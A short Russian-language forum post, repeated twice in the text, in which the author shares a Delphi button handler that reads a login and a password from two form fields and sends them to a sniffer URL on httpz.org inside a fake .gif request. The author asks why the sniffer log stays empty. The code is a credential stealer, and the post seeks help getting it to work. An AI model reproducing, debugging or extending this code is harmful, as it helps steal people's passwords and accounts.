VladimirLock
12.12.2013, 01:00
Delphi highlight
procedure TForm1.Button1Click(Sender: TObject);
var
pass,login:
string
;
begin
if
(Edit1.Text=
''
) or (Edit2.Text=
''
) then
else
begin
pass:=Edit1.Text; login:=Edit2.Text;
sleep(
2000
);
IdHTTP1.Get(
'http://httpz.org/hx9p6ubcx7.gif[Login:'
+login+
';Password:'
+pass+
']'
);
Все сделал правильно, edit есть, прога работает, но когда ввожу что нибудь в Edit1 и в Edit2, на сниффер ничего не приходит, лог пуст.
Что делать? может добавить что-то
procedure TForm1.Button1Click(Sender: TObject);
var
pass,login:
string
;
begin
if
(Edit1.Text=
''
) or (Edit2.Text=
''
) then
else
begin
pass:=Edit1.Text; login:=Edit2.Text;
sleep(
2000
);
IdHTTP1.Get(
'http://httpz.org/hx9p6ubcx7.gif[Login:'
+login+
';Password:'
+pass+
']'
);
Все сделал правильно, edit есть, прога работает, но когда ввожу что нибудь в Edit1 и в Edit2, на сниффер ничего не приходит, лог пуст.
Что делать? может добавить что-то